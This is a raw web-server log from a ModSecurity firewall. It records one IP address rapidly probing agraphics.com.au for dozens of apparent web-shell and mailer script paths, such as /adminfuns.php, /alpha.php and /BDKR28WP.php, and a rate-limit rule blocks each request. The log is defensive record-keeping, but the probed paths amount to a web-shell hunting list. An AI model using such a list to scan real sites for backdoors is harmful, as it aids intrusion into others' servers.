[Fri Apr 17 14:34:29.635198 2026] [:error] [pid 61523:tid 61545] [client 74.234.56.128:27915] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUdcOaH-Pgc7WEf4NGzgAAAcM"]
[Fri Apr 17 14:34:29.787114 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:28437] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUdZJYca8I3TNCwIf-7QAAAEA"]
[Fri Apr 17 14:34:30.161610 2026] [:error] [pid 9152:tid 9206] [client 74.234.56.128:27981] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUdpJYca8I3TNCwIf-8AAAAFA"]
[Fri Apr 17 14:34:30.397521 2026] [:error] [pid 9152:tid 9192] [client 74.234.56.128:28964] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUdpJYca8I3TNCwIf-8gAAAEI"]
[Fri Apr 17 14:34:30.696927 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:28439] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUdpJYca8I3TNCwIf-9AAAAFI"]
[Fri Apr 17 14:34:30.928957 2026] [:error] [pid 34273:tid 34288] [client 74.234.56.128:27992] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUdmuQDW686mK3dgHDYwAAAY0"]
[Fri Apr 17 14:34:31.226475 2026] [:error] [pid 61523:tid 61565] [client 74.234.56.128:26449] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeHUd8OaH-Pgc7WEf4NGzwAAAdc"]
[Fri Apr 17 14:34:31.467974 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:24861] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUd8OaH-Pgc7WEf4NG0AAAAc0"]
[Fri Apr 17 14:34:31.764227 2026] [:error] [pid 61523:tid 61561] [client 74.234.56.128:27424] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUd8OaH-Pgc7WEf4NG0gAAAdM"]
[Fri Apr 17 14:34:32.010836 2026] [:error] [pid 9151:tid 9179] [client 74.234.56.128:28015] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUeMhTVuRPkua22vQU4QAAABI"]
[Fri Apr 17 14:34:32.294589 2026] [:error] [pid 9152:tid 9211] [client 74.234.56.128:26411] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUeJJYca8I3TNCwIf-_AAAAFU"]
[Fri Apr 17 14:34:32.539135 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:27003] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUeJJYca8I3TNCwIf-_wAAAEA"]
[Fri Apr 17 14:34:32.794688 2026] [:error] [pid 25010:tid 25017] [client 74.234.56.128:28513] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUeI-7kkf42RarqQ1FuwAAAUQ"]
[Fri Apr 17 14:34:33.042128 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:27504] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUeRP68VyHNvj1e56j5AAAAM8"]
[Fri Apr 17 14:34:33.291519 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:27906] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aeHUeRP68VyHNvj1e56j5gAAANA"]
[Fri Apr 17 14:34:33.543131 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:29051] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUeZJYca8I3TNCwIf_CAAAAEM"]
[Fri Apr 17 14:34:33.818722 2026] [:error] [pid 25010:tid 25035] [client 74.234.56.128:27989] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUeY-7kkf42RarqQ1FvQAAAVY"]
[Fri Apr 17 14:34:34.061464 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:28949] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUesOaH-Pgc7WEf4NG8wAAAcg"]
[Fri Apr 17 14:34:34.319087 2026] [:error] [pid 9151:tid 9164] [client 74.234.56.128:28481] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUeshTVuRPkua22vQU4wAAAAM"]
[Fri Apr 17 14:34:34.572954 2026] [:error] [pid 34273:tid 34297] [client 74.234.56.128:23879] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUemuQDW686mK3dgHDZgAAAZY"]
[Fri Apr 17 14:34:34.820366 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:27917] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUehP68VyHNvj1e56j6QAAAM4"]
[Fri Apr 17 14:34:35.093639 2026] [:error] [pid 61523:tid 61561] [client 74.234.56.128:28475] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUe8OaH-Pgc7WEf4NG9wAAAdM"]
[Fri Apr 17 14:34:35.332673 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:29009] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeHUe8OaH-Pgc7WEf4NG-AAAAdQ"]
[Fri Apr 17 14:34:35.604611 2026] [:error] [pid 25010:tid 25022] [client 74.234.56.128:27419] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUe4-7kkf42RarqQ1FwQAAAUk"]
[Fri Apr 17 14:34:35.853565 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:27991] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUe8OaH-Pgc7WEf4NG-gAAAcU"]
[Fri Apr 17 14:34:36.157494 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:27435] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUfMOaH-Pgc7WEf4NG_AAAAdI"]
[Fri Apr 17 14:34:36.389561 2026] [:error] [pid 25010:tid 25018] [client 74.234.56.128:28932] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUfI-7kkf42RarqQ1FxAAAAUU"]
[Fri Apr 17 14:34:36.674181 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:28523] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUfMOaH-Pgc7WEf4NHAgAAAdA"]
[Fri Apr 17 14:34:36.910640 2026] [:error] [pid 51878:tid 51898] [client 74.234.56.128:28528] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUfEnQhUtMbw9EsgYatgAAARI"]
[Fri Apr 17 14:34:37.210815 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:28964] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUfcOaH-Pgc7WEf4NHBQAAAcc"]
[Fri Apr 17 14:34:37.418431 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:27937] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeHUfcOaH-Pgc7WEf4NHBgAAAck"]
[Fri Apr 17 14:34:37.754171 2026] [:error] [pid 61523:tid 61556] [client 74.234.56.128:28435] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUfcOaH-Pgc7WEf4NHCAAAAc4"]
[Fri Apr 17 14:34:37.952896 2026] [:error] [pid 61523:tid 61565] [client 74.234.56.128:28524] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUfcOaH-Pgc7WEf4NHCQAAAdc"]
[Fri Apr 17 14:34:38.262660 2026] [:error] [pid 34273:tid 34299] [client 74.234.56.128:26901] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUfmuQDW686mK3dgHDaQAAAZg"]
[Fri Apr 17 14:34:38.521377 2026] [:error] [pid 9152:tid 9202] [client 74.234.56.128:23395] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUfpJYca8I3TNCwIf_DAAAAEw"]
[Fri Apr 17 14:34:38.797130 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:28429] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUfknQhUtMbw9EsgYatwAAAQk"]
[Fri Apr 17 14:34:39.036933 2026] [:error] [pid 51878:tid 51888] [client 74.234.56.128:28937] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUf0nQhUtMbw9EsgYauAAAAQg"]
[Fri Apr 17 14:34:39.307974 2026] [:error] [pid 51878:tid 51896] [client 74.234.56.128:28469] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUf0nQhUtMbw9EsgYaugAAARA"]
[Fri Apr 17 14:34:39.577018 2026] [:error] [pid 9152:tid 9209] [client 74.234.56.128:29013] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeHUf5JYca8I3TNCwIf_DgAAAFM"]
[Fri Apr 17 14:34:39.848868 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:28424] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUf5JYca8I3TNCwIf_DwAAAEU"]
[Fri Apr 17 14:34:40.128977 2026] [:error] [pid 9152:tid 9204] [client 74.234.56.128:26934] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUgJJYca8I3TNCwIf_EAAAAE4"]
[Fri Apr 17 14:34:40.389854 2026] [:error] [pid 51878:tid 51881] [client 74.234.56.128:29047] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUgEnQhUtMbw9EsgYavgAAAQE"]
[Fri Apr 17 14:34:40.649764 2026] [:error] [pid 9151:tid 9183] [client 74.234.56.128:29004] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUgMhTVuRPkua22vQU5QAAABY"]
[Fri Apr 17 14:34:40.924185 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:28971] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUgJJYca8I3TNCwIf_EQAAAEY"]
[Fri Apr 17 14:34:41.186799 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:27007] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUgZJYca8I3TNCwIf_EwAAAEo"]
[Fri Apr 17 14:34:41.425459 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:28502] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUgRP68VyHNvj1e56j6gAAANE"]
[Fri Apr 17 14:34:41.698471 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:27934] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aeHUgRP68VyHNvj1e56j6wAAANY"]
[Fri Apr 17 14:34:41.936251 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:24395] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUgcOaH-Pgc7WEf4NHEQAAAcc"]
[Fri Apr 17 14:34:42.206840 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:28492] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUgpJYca8I3TNCwIf_FQAAAEA"]
[Fri Apr 17 14:34:42.459755 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:28462] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUgpJYca8I3TNCwIf_FwAAAFc"]
[Fri Apr 17 14:34:42.717375 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:27980] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUgpJYca8I3TNCwIf_GAAAAE0"]
[Fri Apr 17 14:34:42.964575 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:27502] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUgpJYca8I3TNCwIf_GgAAAFI"]
[Fri Apr 17 14:34:43.233135 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:29049] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUgxP68VyHNvj1e56j7wAAAM0"]
[Fri Apr 17 14:34:43.507571 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:28425] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUg8OaH-Pgc7WEf4NHFAAAAcs"]
[Fri Apr 17 14:34:43.778345 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:23378] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUgxP68VyHNvj1e56j8AAAANQ"]
[Fri Apr 17 14:34:44.008249 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:27958] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUhBP68VyHNvj1e56j8gAAAMs"]
